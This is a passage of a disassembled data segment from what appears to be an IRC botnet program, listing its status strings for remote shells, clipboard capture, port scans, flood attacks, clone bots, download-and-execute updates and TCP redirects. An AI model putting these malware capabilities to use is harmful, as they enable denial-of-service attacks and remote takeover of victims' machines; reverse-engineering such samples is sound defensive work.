		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40EF83o
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040EF5Bo
		align 4
dword_42B76C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EF0Fo
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42B7AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EED1o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_42B7D8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040EEA6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42B824	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040EE3Bo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_42B854	dd 627573h	dword_42B858	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EDC6o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_42B884	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:0040EDABo
		dd 2029206Ch, 2BBBB02h
aFailedToStar_5	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42B8D0	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: seg000:0040ED1Eo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_42B8FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EC9Ao
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_42B928	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EC6Bo
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_42B954	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EC16o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_42B980	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040EBF4o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_6	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42B9D0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040EB85o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: seg000:0040EB65o
		align 4
dword_42BA0C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040EB03o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 10h
dword_42BA40	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EAB5o
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_42BA6C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_40EA18o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 10h
dword_42BAA0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040EA11o
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_42BADC	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040E9F5o
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_42BB18	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E9DFo
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: seg000:0040E9B1o
		align 4
unk_42BB5C	db    2			; DATA XREF: seg000:loc_40E9A1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_42BB9C	db    2			; DATA XREF: seg000:0040E986o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_42BBD4	db    2			; DATA XREF: seg000:loc_40E976o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_42BC14	db    2			; DATA XREF: seg000:loc_40E96Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_42BC54	db    2			; DATA XREF: seg000:0040E968o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_42BC8C	db    2			; DATA XREF: seg000:0040E8EAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
unk_42BCD8	db    2			; DATA XREF: seg000:0040E778o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_8	db 'Failed to start server thread, error: <%d>.',0
unk_42BD24	db    2			; DATA XREF: seg000:0040E648o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_42BD58	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:loc_40E62Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start scan, port is invalid.',0
		align 4
dword_42BDA4	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: seg000:0040E56Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_42BE20	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E32Do
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42BE58	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E314o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_42BE8C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E2F4o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_42BEC0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E2DBo
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_42BEEC	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40E25Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_42BF2C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040E256o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_42BF64	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:loc_40E210o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 10h
dword_42BFA0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: seg000:0040E206o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: seg000:0040E1ECo
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:0040E161o
					; seg000:loc_40EF6Do
		align 10h
dword_42BFF0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E0EBo
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42C028	db    2			; DATA XREF: seg000:loc_40E0D6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 10h
unk_42C060	db    2			; DATA XREF: seg000:0040E0CCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_42C090	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E0A3o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42C0C8	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:loc_40E087o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_42C104	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: seg000:0040E059o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_42C134	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40E025o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_42C178	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040E01Bo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 10h
dword_42C1B0	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:loc_40DFC5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_42C1F8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: seg000:0040DFBEo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_42C230	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0040DF7Do
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_42C260	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:0040DF67o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
dword_42C288	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: seg000:loc_40DF4Co
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_42C2B8	db    2			; DATA XREF: seg000:0040DF42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_42C2E8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040DF11o
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_42C314	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:0040DF06o
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_42C354	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DEC6o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_42C388	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DEB2o
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 10h
aR:					; DATA XREF: seg000:loc_40DE4Bo
		unicode	0, <r>,0
dword_42C3C4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DE2Do
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_42C3F0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DDF2o
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_42C434	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DDD6o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_42C46C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DD54o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_42C49C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DD19o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_42C4CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DCC3o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_42C4FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DC5Bo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_42C524	dd 54524150h, 0D732520h, 0Ah					; seg000:0040E2E6o
dword_42C530	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040DBF2o
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 10h
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040DBE4o
		align 4
dword_42C56C	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040DBBBo
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_42C59C	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040DB50o
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_42C5CC	dd 45444F4Dh, 732520hdword_42C5D4	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: seg000:0040DAC6o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_42C604	dd 4B43494Eh, 732520h					; seg000:0040E12Do
dword_42C60C	dd 4E494F4Ah, 20732520h, 7325hdword_42C618	dd 54524150h, 732520hdword_42C620	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40D9D4o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_42C668	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D99Do
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: seg000:0040D94Co
		align 4
dword_42C69C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:loc_40D904o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_42C6C4	dd 25207325h, 73252073h, 73253A20h, 0					; seg000:0040D977o ...
unk_42C6D4	db    2			; DATA XREF: seg000:0040D847o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0
		align 4
dword_42C7C8	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: seg000:0040D6BBo
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_42C7F4	db    2			; DATA XREF: seg000:0040D6A2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
dword_42C82C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: seg000:loc_40D5CDo
					; seg000:loc_40DF84o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_42C84C	db    2			; DATA XREF: seg000:0040D5B8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42C884	db    2			; DATA XREF: seg000:loc_40D596o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_42C8D0	db    2			; DATA XREF: seg000:0040D58Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42C91C	db    2			; DATA XREF: seg000:0040D512o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_42C95C	db    2			; DATA XREF: seg000:0040D49Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_10	db ' Failed to start clone thread, error: <%d>.',0
unk_42C9A8	db    2			; DATA XREF: seg000:0040D42Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_42C9EC	db    2			; DATA XREF: seg000:0040D3A4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_11	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42CA38	db    2			; DATA XREF: seg000:0040D32Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_42CA7C	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040D297o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42CAC8	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: seg000:0040D21Do
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_42CB08	db    2			; DATA XREF: seg000:0040D1ADo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42CB5C	db    2			; DATA XREF: seg000:0040D13Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_42CB9C	db    2			; DATA XREF: seg000:0040D06Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_42CBF0	db    2			; DATA XREF: seg000:0040D000o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 10h
unk_42CC40	db    2			; DATA XREF: seg000:0040CF75o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
